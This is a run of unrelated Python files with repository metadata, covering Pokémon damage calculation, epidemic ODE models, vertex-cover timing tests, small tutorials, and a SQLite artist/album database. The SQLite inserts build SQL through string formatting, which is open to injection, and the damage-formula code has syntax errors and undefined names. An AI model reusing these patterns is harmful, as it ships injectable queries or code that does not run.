'Dims_lhs', 'lhs'], ['Ndim_rhs', 'Dims_rhs', 'rhs'], ['Ndim_result', 'Dims_result', 'result']] ) adouble__mul__ = instant.inline_with_numpy(c_code_adouble__mul__, arrays=[['Ndim_lhs', 'Dims_lhs', 'lhs'], ['Ndim_rhs', 'Dims_rhs', 'rhs'], ['Ndim_result', 'Dims_result', 'result']] ) adouble__div__ = instant.inline_with_numpy(c_code_adouble__div__, arrays=[['Ndim_lhs', 'Dims_lhs', 'lhs'], ['Ndim_rhs', 'Dims_rhs', 'rhs'], ['Ndim_result', 'Dims_result', 'result']] ) adouble__imul__ = instant.inline_with_numpy(c_code_adouble__imul__, arrays=[['tmp_lhs','lhs'],['Ndim_lhs', 'Dims_lhs', 'lhs_tc'], ['Ndim_rhs', 'Dims_rhs', 'rhs_tc']] )

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7

a787b8c723436b3dd5f85a394d89275d6c7179db

2,465

py

Python

pokebot/models/estimator/damage_formula.py

nacharya114/pokebot

b9028c86c5ee58178f348c75c39225f7b55507aa

[ "MIT" ]

1

2020-05-20T04:52:24.000Z

pokebot/models/estimator/damage_formula.py

nacharya114/pokebot

b9028c86c5ee58178f348c75c39225f7b55507aa

[ "MIT" ]

null

pokebot/models/estimator/damage_formula.py

nacharya114/pokebot

b9028c86c5ee58178f348c75c39225f7b55507aa

[ "MIT" ]

null

import numpy as np from numpy.random import rand import poke_env as penv from poke_env.environment.battle import Battle from poke_env.environment.pokemon import Pokemon from poke_env.environment.move import Move from poke_env.environment.move_category import MoveCategory from poke_env.environment.pokemon_type import PokemonType def calcDamage(activePokemon,oppActivePokemon, moveUsed) activeMonTypes = activePokemon.types oppActiveMonTypes = oppActivePokemon.types level = activePokemon.level; weather = 1; burn = 1; moveCategory = moveUsed.category; activeMonStats = activePokemon.stats oppActiveMonStats = oppActivePokemon.stats if moveCategory == MoveCategory.PHYSICAL: A = activeMonStats["Atk"]; D = oppActiveMonStats["Def"] elif moveCategory == MoveCategory.SPECIAL: A = activeMonStats["SpA"]; D = oppActiveMonStats["SpD"] power = moveUsed.base_power; moveType = moveUsed.type; STAB = 1; if np.any(moveTyping == activeMonTypes[i] for i in range(len(activeMonTypes)) ): STAB = 1.5; targets = 1; critical = 1; random = (1 - 0.85)*rand(1) + 0.85; # random = 1; other = 1; damageMultiplier = moveUsed.type.damage_multiplier(oppActivePokemon.type_1, oppActivePokemon.type_2) modifier = targets * weather * critical*random*STAB*damageMultiplier*burn*other; damage = np.floor( (((((2*level/5) +2) * power * A/D)/50) + 2) * modifier); return damage def calcDamage_model(activePokemon,oppActivePokemon, A,D, moveUsed) activeMonTypes = activePokemon.types oppActiveMonTypes = oppActivePokemon.types level = activePokemon.level; weather = 1; burn = 1; moveCategory = moveUsed.category; activeMonStats = activePokemon.stats if moveCategory == MoveCategory.PHYSICAL A = activeMonStats["Atk"]; D = oppActiveMonStats["Def"] elif moveCategory == MoveCategory.SPECIAL A = activeMonStats["SpA"]; D = oppActiveMonStats["SpD"] power = moveUsed.base_power; moveType = moveUsed.type; STAB = 1; if np.any(moveTyping == activeMonTypes[i] for i in range(len(activeMonTypes)) ): STAB = 1.5; targets = 1; critical = 1; random = (1 - 0.85)*rand(1) + 0.85; # random = 1; other = 1; damageMultiplier = moveUsed.type.damage_multiplier(oppActivePokemon.type_1, oppActivePokemon.type_2) modifier = targets * weather * critical*random*STAB*damageMultiplier*burn*other; damage = np.floor( (((((2*level/5) +2) * power * A/D)/50) + 2) * modifier); return damage

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8

a79ba78ba77c07cc2743ff50d997e886c35cc706

8,278

py

Python

Differential Equation/epidemic.py

FinCreWorld/Mathematical-Modeling-with-Python

d5206309bce32f2aa64fe94ab4e8a576add0e628

[ "MIT" ]

null

Differential Equation/epidemic.py

FinCreWorld/Mathematical-Modeling-with-Python

d5206309bce32f2aa64fe94ab4e8a576add0e628

[ "MIT" ]

1

2021-08-21T09:36:54.000Z

Differential Equation/epidemic.py

FinCreWorld/Mathematical-Modeling-with-Python

d5206309bce32f2aa64fe94ab4e8a576add0e628

[ "MIT" ]

3

2021-08-21T09:25:22.000Z

2021-08-29T12:04:49.000Z

import numpy as np from scipy.integrate import solve_ivp import matplotlib.pyplot as plt class SI: """ Only consider susceptibles and infectives. Infectives can't recover. """ def __init__(self, N: int, r: int, beta: float, I0: int) -> None: """ :param N: total population, fixed :param r: number of contacts per person per time :param beta: probability of disease transmission in a contact :param I0: initial infectives population """ self.N = N self.r = r self.beta = beta self.I0 = I0 def predict(self, t: np.ndarray) -> np.ndarray: return self.N * self.I0 / (self.I0 + (self.N - self.I0) * np.exp(-self.r*self.beta*t)) def show(self, t_begin: float, t_end: float) -> None: fig, ax = plt.subplots(1, 1) ax.set_title('SI Model\n' + r'$r=%d,\,\beta=%.6f$' % (self.r, self.beta)) ax.set_xlabel('Time') ax.set_ylabel('Fraction') ax.set_xlim(t_begin, t_end) ax.set_ylim(0, 1) plot_x = np.linspace(t_begin, t_end, 100) plot_I = self.predict(plot_x) plot_S = self.N - plot_I ax.plot(plot_x, plot_I / self.N, label='Infectives') ax.plot(plot_x, plot_S / self.N, label='Susceptibles') plt.legend() plt.show() class SIS: """ Only consider susceptibles and infectives. Infectives can recover and may be infected again. """ def __init__(self, N: int, r: int, beta: float, gamma: float, I0: int) -> None: """ :param N: total population, fixed :param r: number of contacts per person per time :param beta: probability of disease transmission in a contact :param gamma: probability of recovery :param I0: initial infectives population """ self.N = N self.r = r self.beta = beta self.gamma = gamma self.I0 = I0 def predict(self, t: np.ndarray) -> np.ndarray: rbg = self.r * self.beta - self.gamma Nrbg = self.N * rbg / (self.r * self.beta) return Nrbg / (1 + (Nrbg / self.I0 - 1) * np.exp(-rbg * t)) def show(self, t_begin: float, t_end: float) -> None: fig, ax = plt.subplots(1, 1) ax.set_title('SIS Model\n' + r'$r=%d,\,\beta=%.6f,\,\gamma=%.6f$' % (self.r, self.beta, self.gamma)) ax.set_xlabel('Time') ax.set_ylabel('Fraction') ax.set_xlim(t_begin, t_end) ax.set_ylim(0, 1) plot_x = np.linspace(t_begin, t_end, 100) plot_I = self.predict(plot_x) plot_S = self.N - plot_I ax.plot(plot_x, plot_I / self.N, label='Infectives') ax.plot(plot_x, plot_S / self.N, label='Susceptibles') plt.legend() plt.show() class SIR: """ Consider susceptibles, infectives and removed. Infectives can recover and won't be infected again. """ def __init__(self, N: int, r: int, beta: float, gamma: float, I0: int, R0: int) -> None: """ :param N: total population, fixed :param r: number of contacts per person per time :param beta: probability of disease transmission in a contact :param gamma: probability of recovery :param I0: initial infectives population :param R0: initial removed population """ self.N = N self.r = r self.beta = beta self.gamma = gamma self.I0 = I0 self.R0 = R0 def predict(self, t: np.ndarray) -> np.ndarray: def fun(_, y): """ y = [S, I, R] """ return np.array([-self.r * self.beta * y[1] * y[0] / self.N, self.r * self.beta * y[1] * y[0] / self.N - self.gamma * y[1], self.gamma * y[1]]) res = solve_ivp(fun=fun, t_span=(0, np.max(t)), y0=np.array([self.N - self.I0 - self.R0, self.I0, self.R0]), method='RK45', t_eval=t) return res.y def show(self, t_begin: float, t_end: float) -> None: fig, ax = plt.subplots(1, 1) ax.set_title('SIR Model\n' + r'$r=%d,\,\beta=%.6f,\,\gamma=%.6f$' % (self.r, self.beta, self.gamma)) ax.set_xlabel('Time') ax.set_ylabel('Fraction') ax.set_xlim(t_begin, t_end) ax.set_ylim(0, 1) plot_x = np.linspace(t_begin, t_end, 100) plot_S = self.predict(plot_x) plot_S, plot_I, plot_R = plot_S[0], plot_S[1], plot_S[2] ax.plot(plot_x, plot_I / self.N, label='Infectives') ax.plot(plot_x, plot_S / self.N, label='Susceptibles') ax.plot(plot_x, plot_R / self.N, label='Removed') plt.legend() plt.show() class SEIR: """ Consider susceptibles, exposed, infectives and removed. Infectives can recover and won't be infected again. Exposed cannot infect others. """ def __init__(self, N: int, r: int, beta: float, sigma: float, gamma: float, E0: int, I0: int, R0: int) -> None: """ :param N: total population, fixed :param r: number of contacts per person per time :param beta: probability of disease transmission in a contact :param sigma: probability of exposed -> infectives :param gamma: probability of recovery :param E0: initial exposed population :param I0: initial infectives population :param R0: initial removed population """ self.N = N self.r = r self.beta = beta self.sigma = sigma self.gamma = gamma self.E0 = E0 self.I0 = I0 self.R0 = R0 self.S0 = self.N - E0 - I0 - R0 def predict(self, t: np.ndarray) -> np.ndarray: def fun(_, y): """ y = [S, E, I, R] """ return np.array([-self.r * self.beta * y[2] * y[0] / self.N, self.r * self.beta * y[2] * y[0] / self.N - self.sigma * y[1], self.sigma * y[1] - self.gamma * y[2], self.gamma * y[2]]) res = solve_ivp(fun=fun, t_span=(0, np.max(t)), y0=np.array([self.S0, self.E0, self.I0, self.R0]), method='RK45', t_eval=t) return res.y def show(self, t_begin: float, t_end: float) -> None: fig, ax = plt.subplots(1, 1) ax.set_title('SEIR Model\n' + r'$r=%d,\,\beta=%.6f,\,\sigma=%.6f,\,\gamma=%.6f$' % (self.r, self.beta, self.sigma, self.gamma)) ax.set_xlabel('Time') ax.set_ylabel('Fraction') ax.set_xlim(t_begin, t_end) ax.set_ylim(0, 1) plot_x = np.linspace(t_begin, t_end, 100) plot_S = self.predict(plot_x) plot_S, plot_E, plot_I, plot_R = plot_S[0], plot_S[1], plot_S[2], plot_S[3] ax.plot(plot_x, plot_I / self.N, label='Infectives') ax.plot(plot_x, plot_E / self.N, label='Exposed') ax.plot(plot_x, plot_S / self.N, label='Susceptibles') ax.plot(plot_x, plot_R / self.N, label='Removed') plt.legend() plt.show() def main(): # model = SI(N=1000, r=120, beta=0.005, I0=1) # model = SIS(N=1000, r=100, beta=0.005, gamma=0.1, I0=1) # model = SIR(N=1000, r=100, beta=0.003, gamma=0.1, I0=1, R0=0) # model.show(t_begin=0, t_end=100) # model = SIR(N=1000, r=100, beta=0.003, gamma=0.1, I0=20, R0=400) # model.show(t_begin=0, t_end=100) # model = SEIR(N=1000, r=100, beta=0.003, sigma=0.3, gamma=0.1, E0=40, I0=20, R0=0) # model.show(t_begin=0, t_end=100) model = SEIR(N=10000, r=20, beta=0.03, sigma=0.1, gamma=0.1, E0=0, I0=1, R0=0) model.show(t_begin=0, t_end=140) if __name__ == '__main__': main()

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a7a9bfb16945c8fc02d7d517186ed42f860acfb8

61

py

Python

dragon/func/__init__.py

InfernalAzazel/dragon

464056feb8ecaac55eabedb0a083ea9f609a5753

[ "Apache-2.0" ]

null

dragon/func/__init__.py

InfernalAzazel/dragon

464056feb8ecaac55eabedb0a083ea9f609a5753

[ "Apache-2.0" ]

null

dragon/func/__init__.py

InfernalAzazel/dragon

464056feb8ecaac55eabedb0a083ea9f609a5753

[ "Apache-2.0" ]

null

from func import jd_front_event from func import jd_web_hook

20.333333

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8

a7dc294b0dd46ac3f64e09396849dc5f1321ce8a

155

py

Python

probeye/inference/torch_/__init__.py

BAMresearch/probeye

ff018ef629f7d5ce4a263b6656b363f90ab6be02

[ "MIT" ]

null

probeye/inference/torch_/__init__.py

BAMresearch/probeye

ff018ef629f7d5ce4a263b6656b363f90ab6be02

[ "MIT" ]

42

2021-08-24T06:50:17.000Z

2022-03-25T09:05:41.000Z

probeye/inference/torch_/__init__.py

BAMresearch/probeye

ff018ef629f7d5ce4a263b6656b363f90ab6be02

[ "MIT" ]

2

2021-11-14T22:30:54.000Z

2022-02-28T13:39:00.000Z

# module imports from probeye.inference.torch_ import noise_models from probeye.inference.torch_ import priors from probeye.inference.torch_ import solver

31

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7

ac0b39275d3539e83041db32829caa1370193789

13,176

py

Python

pkg_1/scriptTesting7.py

giuseppemas/3gruppo_4_TDP

d85c5e232cbaa0a9a3512fdce906ea9fab7b1334

[ "MIT" ]

null

pkg_1/scriptTesting7.py

giuseppemas/3gruppo_4_TDP

d85c5e232cbaa0a9a3512fdce906ea9fab7b1334

[ "MIT" ]

null

pkg_1/scriptTesting7.py

giuseppemas/3gruppo_4_TDP

d85c5e232cbaa0a9a3512fdce906ea9fab7b1334

[ "MIT" ]

null

'''Valutare sperimentalmente le prestazioni dei due metodi su un campione di almeno k grafi (con k > 50) con n vertici (n > 50) con scelti a caso. Per ciascun grafo fornire le dimensioni dei vertex cover restituiti dai due metodi ed i relativi tempi di esecuzione. Calcolare di quanto in media l’algoritmo greedy è più veloce rispetto all’algoritmo ottimo e di quanto il vertex cover restituito è più grande.''' from pkg_1.MyGraph import MyGraph import time print("Testing50 #1: Grafo non diretto non pesato con 51 vertici e 20 archi") graph2 = MyGraph() vert = [] for i in range (1,52): vert.append(graph2.insert_vertex(i)) print("Vertici: [") for v in graph2.vertices(): print(v, end=", ") print("]\n\n") in_file = open("test50.txt","r") #lettura da file testo = in_file.read() in_file.close() lettura = testo.splitlines() lettura = list(lettura) lenLettura = len(lettura) i = 2 while i < lenLettura: endpoints = lettura[i].split(" ") #inserisce i 2 estremi in un array di 2 elementi j = 0 while vert[j]._element != int(endpoints[0]): j = j+1 z = 0 while vert[z]._element != int(endpoints[1]): z = z + 1 graph2.insert_edge(vert[j],vert[z]) i = i+5 print("Archi: [") for e in graph2.edges(): print(e, end=", ") print("]\n\n") print("Greedy vertex cover: ") inizio_GVC = time.clock() listGVC = graph2.greedy_vertex_cover() fine_GVC = time.clock() t_GVC = fine_GVC - inizio_GVC for elem in listGVC: print(elem, end=", ") print("\nMin vertex cover: ") inizio_MVC = time.clock() listMVC = graph2.min_vertex_cover() fine_MVC = time.clock() t_MVC = fine_MVC - inizio_MVC for elem in listMVC: print(elem, end=", ") print("\n\nGREEDY --> Dim =", len(listGVC), ", Time =", t_GVC, "s\n") print("MIN --> Dim =", len(listMVC), ", Time =", t_MVC, "s\n") print("La dimensione dell'algoritmo Greedy è di", len(listGVC)-len(listMVC), "vertici in più rispetto all'algoritmo Min.\n") print("L'algoritmo Greedy è", t_MVC/t_GVC, "volte piu' veloce di quello Min.\n") print("L'algoritmo Greedy impiega", t_MVC-t_GVC, "secondi in meno rispetto a quello Min.\n") print("\n\n") #--------------------------------------------------------------------------------------- print("Testing50 #2: Grafo non diretto non pesato con 51 vertici e 25 archi") graph2 = MyGraph() vert = [] for i in range (1,52): vert.append(graph2.insert_vertex(i)) print("Vertici: [") for v in graph2.vertices(): print(v, end=", ") print("]\n\n") in_file = open("test50.txt","r") #lettura da file testo = in_file.read() in_file.close() lettura = testo.splitlines() lettura = list(lettura) lenLettura = len(lettura) i = 2 while i < lenLettura: endpoints = lettura[i].split(" ") #inserisce i 2 estremi in un array di 2 elementi j = 0 while vert[j]._element != int(endpoints[0]): j = j+1 z = 0 while vert[z]._element != int(endpoints[1]): z = z + 1 graph2.insert_edge(vert[j],vert[z]) i = i+4 print("Archi: [") for e in graph2.edges(): print(e, end=", ") print("]\n\n") print("Greedy vertex cover: ") inizio_GVC = time.clock() listGVC = graph2.greedy_vertex_cover() fine_GVC = time.clock() t_GVC = fine_GVC - inizio_GVC for elem in listGVC: print(elem, end=", ") print("\nMin vertex cover: ") inizio_MVC = time.clock() listMVC = graph2.min_vertex_cover() fine_MVC = time.clock() t_MVC = fine_MVC - inizio_MVC for elem in listMVC: print(elem, end=", ") print("\n\nGREEDY --> Dim =", len(listGVC), ", Time =", t_GVC, "s\n") print("MIN --> Dim =", len(listMVC), ", Time =", t_MVC, "s\n") print("La dimensione dell'algoritmo Greedy è di", len(listGVC)-len(listMVC), "vertici in più rispetto all'algoritmo Min.\n") print("L'algoritmo Greedy è", t_MVC/t_GVC, "volte piu' veloce di quello Min.\n") print("L'algoritmo Greedy impiega", t_MVC-t_GVC, "secondi in meno rispetto a quello Min.\n") print("\n\n") #--------------------------------------------------------------------------------------- print("Testing50 #3: Grafo non diretto non pesato con 51 vertici 34 archi") graph2 = MyGraph() vert = [] for i in range (1,52): vert.append(graph2.insert_vertex(i)) print("Vertici: [") for v in graph2.vertices(): print(v, end=", ") print("]\n\n") in_file = open("test50.txt","r") #lettura da file testo = in_file.read() in_file.close() lettura = testo.splitlines() lettura = list(lettura) lenLettura = len(lettura) i = 2 while i < lenLettura: endpoints = lettura[i].split(" ") #inserisce i 2 estremi in un array di 2 elementi j = 0 while vert[j]._element != int(endpoints[0]): j = j+1 z = 0 while vert[z]._element != int(endpoints[1]): z = z + 1 graph2.insert_edge(vert[j],vert[z]) i = i+3 print("Archi: [") for e in graph2.edges(): print(e, end=", ") print("]\n\n") print("Greedy vertex cover: ") inizio_GVC = time.clock() listGVC = graph2.greedy_vertex_cover() fine_GVC = time.clock() t_GVC = fine_GVC - inizio_GVC for elem in listGVC: print(elem, end=", ") print("\nMin vertex cover: ") inizio_MVC = time.clock() listMVC = graph2.min_vertex_cover() fine_MVC = time.clock() t_MVC = fine_MVC - inizio_MVC for elem in listMVC: print(elem, end=", ") print("\n\nGREEDY --> Dim =", len(listGVC), ", Time =", t_GVC, "s\n") print("MIN --> Dim =", len(listMVC), ", Time =", t_MVC, "s\n") print("La dimensione dell'algoritmo Greedy è di", len(listGVC)-len(listMVC), "vertici in più rispetto all'algoritmo Min.\n") print("L'algoritmo Greedy è", t_MVC/t_GVC, "volte piu' veloce di quello Min.\n") print("L'algoritmo Greedy impiega", t_MVC-t_GVC, "secondi in meno rispetto a quello Min.\n") print("\n\n") #--------------------------------------------------------------------------------------- print("Testing50 #4: Fiore --> Grafo non diretto non pesato con 26 vertici e 73 archi") G = MyGraph() V = [] V.append(G.insert_vertex('a')) V.append(G.insert_vertex('b')) V.append(G.insert_vertex('c')) V.append(G.insert_vertex('d')) V.append(G.insert_vertex('e')) V.append(G.insert_vertex('f')) V.append(G.insert_vertex('g')) V.append(G.insert_vertex('h')) V.append(G.insert_vertex('i')) V.append(G.insert_vertex('j')) V.append(G.insert_vertex('k')) V.append(G.insert_vertex('l')) V.append(G.insert_vertex('m')) V.append(G.insert_vertex('n')) V.append(G.insert_vertex('o')) V.append(G.insert_vertex('p')) V.append(G.insert_vertex('q')) V.append(G.insert_vertex('r')) V.append(G.insert_vertex('s')) V.append(G.insert_vertex('t')) V.append(G.insert_vertex('u')) V.append(G.insert_vertex('v')) V.append(G.insert_vertex('w')) V.append(G.insert_vertex('x')) V.append(G.insert_vertex('y')) V.append(G.insert_vertex('z')) for i in range(len(V)): if i != 0: G.insert_edge(V[0],V[i]) for i in range(len(V)): if i != 0 and i != len(V) - 1: G.insert_edge(V[i],V[i + 1]) G.insert_edge(V[-1], V[1]) for i in range(len(V)): if i != 0 and (i != len(V) - 2 and i != len(V) - 1): G.insert_edge(V[i],V[i + 2]) print("Greedy vertex cover: ") inizio_GVC = time.clock() listGVC = G.greedy_vertex_cover() fine_GVC = time.clock() t_GVC = fine_GVC - inizio_GVC for elem in listGVC: print(elem, end=", ") print("\nMin vertex cover: ") inizio_MVC = time.clock() listMVC = G.min_vertex_cover() fine_MVC = time.clock() t_MVC = fine_MVC - inizio_MVC for elem in listMVC: print(elem, end=", ") print("\n\nGREEDY --> Dim =", len(listGVC), ", Time =", t_GVC, "s\n") print("MIN --> Dim =", len(listMVC), ", Time =", t_MVC, "s\n") print("La dimensione dell'algoritmo Greedy è di", len(listGVC)-len(listMVC), "vertici in più rispetto all'algoritmo Min.\n") print("L'algoritmo Greedy è", t_MVC/t_GVC, "volte piu' veloce di quello Min.\n") print("\n\n") #--------------------------------------------------------------------------------------- print("Testing50 #5: Tratto dai miserabili.txt: Grafo non diretto pesato con 77 vertici e 77 archi") graph2 = MyGraph() vert = [] for i in range (1,78): vert.append(graph2.insert_vertex(i)) print("Vertici: [") for v in graph2.vertices(): print(v, end=", ") print("]\n\n") in_file = open("miserabili.txt","r") #lettura da file testo = in_file.read() in_file.close() lettura = testo.splitlines() lettura = list(lettura) lenLettura = len(lettura) i = 2 while i < 78: endpoints = lettura[i].split(" ") #inserisce i 2 estremi in un array di 2 elementi j = 0 while vert[j]._element != int(endpoints[0]): j = j+1 z = 0 while vert[z]._element != int(endpoints[1]): z = z + 1 graph2.insert_edge(vert[j],vert[z]) i = i+1 print("Archi: [") for e in graph2.edges(): print(e, end=", ") print("]\n\n") print("Greedy vertex cover: ") inizio_GVC = time.clock() listGVC = graph2.greedy_vertex_cover() fine_GVC = time.clock() t_GVC = fine_GVC - inizio_GVC for elem in listGVC: print(elem, end=", ") print("\nMin vertex cover: ") inizio_MVC = time.clock() listMVC = graph2.min_vertex_cover() fine_MVC = time.clock() t_MVC = fine_MVC - inizio_MVC for elem in listMVC: print(elem, end=", ") print("\n\nGREEDY --> Dim =", len(listGVC), ", Time =", t_GVC, "s\n") print("MIN --> Dim =", len(listMVC), ", Time =", t_MVC, "s\n") print("La dimensione dell'algoritmo Greedy è di", len(listGVC)-len(listMVC), "vertici in più rispetto all'algoritmo Min.\n") print("L'algoritmo Greedy è", t_MVC/t_GVC, "volte piu' veloce di quello Min.\n") print("L'algoritmo Greedy impiega", t_MVC-t_GVC, "secondi in meno rispetto a quello Min.\n") print("\n\n") #--------------------------------------------------------------------------------------- print("Testing50 #6: Tratto dai miserabili.txt: Grafo non diretto pesato con 77 vertici e 100 archi") graph2 = MyGraph() vert = [] for i in range (1,78): vert.append(graph2.insert_vertex(i)) print("Vertici: [") for v in graph2.vertices(): print(v, end=", ") print("]\n\n") in_file = open("miserabili.txt","r") #lettura da file testo = in_file.read() in_file.close() lettura = testo.splitlines() lettura = list(lettura) lenLettura = len(lettura) i = 2 while i < 101: endpoints = lettura[i].split(" ") #inserisce i 2 estremi in un array di 2 elementi j = 0 while vert[j]._element != int(endpoints[0]): j = j+1 z = 0 while vert[z]._element != int(endpoints[1]): z = z + 1 graph2.insert_edge(vert[j],vert[z]) i = i+1 print("Archi: [") for e in graph2.edges(): print(e, end=", ") print("]\n\n") print("Greedy vertex cover: ") inizio_GVC = time.clock() listGVC = graph2.greedy_vertex_cover() fine_GVC = time.clock() t_GVC = fine_GVC - inizio_GVC for elem in listGVC: print(elem, end=", ") print("\nMin vertex cover: ") inizio_MVC = time.clock() listMVC = graph2.min_vertex_cover() fine_MVC = time.clock() t_MVC = fine_MVC - inizio_MVC for elem in listMVC: print(elem, end=", ") print("\n\nGREEDY --> Dim =", len(listGVC), ", Time =", t_GVC, "s\n") print("MIN --> Dim =", len(listMVC), ", Time =", t_MVC, "s\n") print("La dimensione dell'algoritmo Greedy è di", len(listGVC)-len(listMVC), "vertici in più rispetto all'algoritmo Min.\n") print("L'algoritmo Greedy è", t_MVC/t_GVC, "volte piu' veloce di quello Min.\n") print("L'algoritmo Greedy impiega", t_MVC-t_GVC, "secondi in meno rispetto a quello Min.\n") print("\n\n") #--------------------------------------------------------------------------------------- print("Testing50 #7: Tratto dai miserabili.txt: Grafo non diretto pesato con 77 vertici e 120 archi") graph2 = MyGraph() vert = [] for i in range (1,78): vert.append(graph2.insert_vertex(i)) print("Vertici: [") for v in graph2.vertices(): print(v, end=", ") print("]\n\n") in_file = open("miserabili.txt","r") #lettura da file testo = in_file.read() in_file.close() lettura = testo.splitlines() lettura = list(lettura) lenLettura = len(lettura) i = 2 while i < 121: endpoints = lettura[i].split(" ") #inserisce i 2 estremi in un array di 2 elementi j = 0 while vert[j]._element != int(endpoints[0]): j = j+1 z = 0 while vert[z]._element != int(endpoints[1]): z = z + 1 graph2.insert_edge(vert[j],vert[z]) i = i+1 print("Archi: [") for e in graph2.edges(): print(e, end=", ") print("]\n\n") print("Greedy vertex cover: ") inizio_GVC = time.clock() listGVC = graph2.greedy_vertex_cover() fine_GVC = time.clock() t_GVC = fine_GVC - inizio_GVC for elem in listGVC: print(elem, end=", ") print("\nMin vertex cover: ") inizio_MVC = time.clock() listMVC = graph2.min_vertex_cover() fine_MVC = time.clock() t_MVC = fine_MVC - inizio_MVC for elem in listMVC: print(elem, end=", ") print("\n\nGREEDY --> Dim =", len(listGVC), ", Time =", t_GVC, "s\n") print("MIN --> Dim =", len(listMVC), ", Time =", t_MVC, "s\n") print("La dimensione dell'algoritmo Greedy è di", len(listGVC)-len(listMVC), "vertici in più rispetto all'algoritmo Min.\n") print("L'algoritmo Greedy è", t_MVC/t_GVC, "volte piu' veloce di quello Min.\n") print("L'algoritmo Greedy impiega", t_MVC-t_GVC, "secondi in meno rispetto a quello Min.\n") print("\n\n")

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py

Python

websocketstest/context_processors.py

phildini/websockets-test

e81fd37cfcc880b29bb895db8369321a9bb3f612

[ "Apache-2.0" ]

null

websocketstest/context_processors.py

phildini/websockets-test

e81fd37cfcc880b29bb895db8369321a9bb3f612

[ "Apache-2.0" ]

6

2021-03-19T02:20:24.000Z

2021-09-22T19:00:24.000Z

websocketstest/context_processors.py

phildini/websockets-test

e81fd37cfcc880b29bb895db8369321a9bb3f612

[ "Apache-2.0" ]

null

from django.conf import settings def webpack_env(request): return {"WEBPACK_ENV": settings.WEBPACK_ENV}

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py

Python

week13/bonus-tasks/lists_and_digits/tests.py

YAtOff/python0

b5af5004131d64dd52d42746eddb72b6c43a13c7

[ "Apache-2.0" ]

6

2017-11-08T14:04:39.000Z

2019-03-24T22:11:04.000Z

archive/2016/projects/easy/lists_and_digits/tests.py

YAtOff/python0

b5af5004131d64dd52d42746eddb72b6c43a13c7

[ "Apache-2.0" ]

null

archive/2016/projects/easy/lists_and_digits/tests.py

YAtOff/python0

b5af5004131d64dd52d42746eddb72b6c43a13c7

[ "Apache-2.0" ]

7

2015-10-27T09:04:58.000Z

2019-03-03T14:18:26.000Z

import doctest import lists_and_digits doctest.testmod(lists_and_digits)

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py

Python

operators/examples/ComparisonOperators.py

lakshyamutneja/PyFlask_2k18

ab5d6bc4d87ee4829ad8b3553902bb0d346dcb7a

[ "MIT" ]

98

2018-09-26T17:45:50.000Z

2020-04-08T17:54:50.000Z

operators/examples/ComparisonOperators.py

lakshyamutneja/PyFlask_2k18

ab5d6bc4d87ee4829ad8b3553902bb0d346dcb7a

[ "MIT" ]

12

2018-09-29T18:53:31.000Z

2018-12-21T05:59:38.000Z

operators/examples/ComparisonOperators.py

lakshyamutneja/PyFlask_2k18

ab5d6bc4d87ee4829ad8b3553902bb0d346dcb7a

[ "MIT" ]

36

2018-09-26T20:31:58.000Z

2020-10-08T07:01:09.000Z

# Comparison operators in Python x = 10 y = 12 # Output: x > y is False print('x > y is',x>y) # Output: x < y is True print('x < y is',x<y) # Output: x == y is False print('x == y is',x==y) # Output: x != y is True print('x != y is',x!=y) # Output: x >= y is False print('x >= y is',x>=y) # Output: x <= y is True print('x <= y is',x<=y)

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Python

Ago-Dic-2019/Ricardo_Romero_Medina/SegundoParcial/basedatos.py

Arbupa/DAS_Sistemas

52263ab91436b2e5a24ce6f8493aaa2e2fe92fb1

[ "MIT" ]

41

2017-09-26T09:36:32.000Z

2022-03-19T18:05:25.000Z

Ago-Dic-2019/Ricardo_Romero_Medina/SegundoParcial/basedatos.py

Arbupa/DAS_Sistemas

52263ab91436b2e5a24ce6f8493aaa2e2fe92fb1

[ "MIT" ]

67

2017-09-11T05:06:12.000Z

2022-02-14T04:44:04.000Z

Ago-Dic-2019/Ricardo_Romero_Medina/SegundoParcial/basedatos.py

Arbupa/DAS_Sistemas

52263ab91436b2e5a24ce6f8493aaa2e2fe92fb1

[ "MIT" ]

210

2017-09-01T00:10:08.000Z

2022-03-19T18:05:12.000Z

import sqlite3 def crear_base_datos(): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado a SQLite') query = 'SELECT sqlite_version();' cursor.execute(query) row = cursor.fetchall() print('Version de SQLite: ', row) cursor.close() except sqlite3.Error as error: print('Error con la conexion', error) finally: if(conexion): conexion.close() print('Conexion a SQLite cerrada\n') def crear_tabala_artistas(): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado a SQLite') query = ''' CREATE TABLE IF NOT EXISTS artistas( Id TEXT PRIMARY KEY NOT NULL, Banda TEXT NOT NULL, Tipo TEXT NOT NULL, Tag TEXT NOT NULL, Area TEXT NOT NULL ); ''' cursor.execute(query) row = cursor.fetchall() print('Tabla creada correctamente', row) cursor.close() except sqlite3.Error as error: print('Error con la conexion', error) finally: if(conexion): conexion.close() print('Conexion a SQLite cerrada\n') def crear_tabala_discos(): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado a SQLite') query = ''' CREATE TABLE IF NOT EXISTS disco( Id TEXT PRIMARY KEY NOT NULL, Banda TEXT NOT NULL, Titulo TEXT NOT NULL, Pais TEXT NOT NULL, Status TEXT NOT NULL ); ''' cursor.execute(query) row = cursor.fetchall() print('Tabla creada correctamente', row) cursor.close() except sqlite3.Error as error: print('Error con la conexion', error) finally: if(conexion): conexion.close() print('Conexion a SQLite cerrada\n') def agregar_artista(banda): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado') query = """INSERT INTO artistas VALUES ('{}', '{}', '{}', '{}','{}')""".format(banda._Id, banda._Banda, banda._Tipo, banda._Tag, banda._Area) resultado = cursor.execute(query) conexion.commit() print('Valor Insertado Correctamente', resultado) cursor.close() except sqlite3.Error as error: print('Error con la conexion',error) finally: if(conexion): conexion.close() print('Conexion a SQLite cerrada\n') def agregar_discos(album): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado') query = """INSERT INTO disco VALUES ('{}', '{}', '{}', '{}','{}')""".format(album._Id, album._Banda, album._Titulo, album._Pais, album._Status) resultado = cursor.execute(query) conexion.commit() print('Valor Insertado Correctamente', resultado) cursor.close() except sqlite3.Error as error: print('Error con la conexion',error) finally: if(conexion): conexion.close() print('Conexion a SQLite cerrada\n') def Ver_Todos_Artistas(): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado') query = 'SELECT * FROM artistas;' cursor.execute(query) rows = cursor.fetchall() print('Total de registros: ', len(rows)) print('------------Registros-------------') for row in rows: print('Id: {}\nBanda: {}\nTipo: {}\nTag: {}\nArea: {}'.format(*row)) cursor.close() except sqlite3.Error as 